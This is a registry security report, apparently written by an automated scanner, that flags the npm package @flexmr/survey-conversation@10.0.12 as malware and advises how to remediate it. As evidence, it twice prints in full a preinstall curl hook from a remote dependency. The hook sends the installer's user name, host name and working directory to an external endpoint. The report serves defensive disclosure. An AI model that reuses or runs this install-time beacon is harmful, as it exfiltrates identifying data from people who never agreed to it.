registry / Malware / @flexmr/survey-conversation / 10.0.12

@flexmr/survey-conversation@10.0.12

Generated package

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The package’s declared dependency triggers automatic disclosure of identifying environment and project data during installation. The source establishes the trigger, collected data, and recipient, supporting a block for an unconsented installation beacon.

Static reason

No blocking static signals were detected.

Trigger

Installing the package and its declared dependency on Linux or Darwin.

Impact

The external recipient learns identifying details about the installer and its environment without an indicated consent step.

Mechanism

The dependency’s preinstall hook collects the current user name, host name, and working directory, then sends them in an HTTP request.

Attack narrative

The declared dependency has automatic preinstall hooks in both inspected npm platform profiles. Each hook sends the installer’s user name, host name, and working directory to an external endpoint, with no consent guard shown in the inspected source.

AI rationale

Evidence

package.json.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.json.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-darwin/package.json

Network endpoints1

artifacts.creditslib.com/api/pings

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint.
The hook runs automatically during dependency installation, and the inspected source shows no installer consent check.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 55 B of source

Source & flagged code

3 flagged

package.jsonView file

Lines 1-15json

2 "name": "@flexmr/survey-conversation",

3 "version": "10.0.12",

4 "description": "Generated package",

5 "main": "index.js",

6 "author": "Package Registry",

7 "license": "MIT",

8 "repository": {

9 "type": "git",

10 "url": "https://github.com/example/@flexmr/survey-conversation"

11 },

12 "dependencies": {

13 "cache-format-syntax-tracer": "https://artifacts.creditslib.com/npm/cache-format-syntax-tracer"

14 }

15}

High

Suspicious Lifecycle Evidence

The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint.

package.jsonView on unpkg · L12

.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.jsonView file

12"scripts": { "preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"8a06649b-8640-422c-831c-03a84da3b83d\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-conversation\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'" } }

High

Suspicious Lifecycle Evidence

The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint.

.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.jsonView on unpkg · L12

.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-darwin/package.jsonView file

12"scripts": { "preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"bfb20b71-26ff-45c8-927f-c6de006dc067\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-conversation\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'" } }

High

Suspicious Lifecycle Evidence

The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint.

.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-darwin/package.jsonView on unpkg · L12

Source & flagged code

3 flagged · loading source

package.jsonView file

12"dependencies": { "cache-format-syntax-tracer": "https://artifacts.creditslib.com/npm/cache-format-syntax-tracer" } }

High

Suspicious Lifecycle Evidence

The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint.

package.jsonView on unpkg · L12

.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.jsonView file

High

Suspicious Lifecycle Evidence

The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint.

Findings

3 High

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.json

HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-darwin/package.json

Affected versions and remediation

This report applies to @flexmr/survey-conversation@10.0.12.

See all versions of @flexmr/survey-conversation for other recorded verdicts.

Avoid installing @flexmr/survey-conversation@10.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-16 10:49:36.309Z (UTC).

Source advisory published: 2026-10-16 06:55:02.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

More from @flexmr

Other malware packages

Behavioral surface

Source & flagged code

Related packages

More from @flexmr

Other malware packages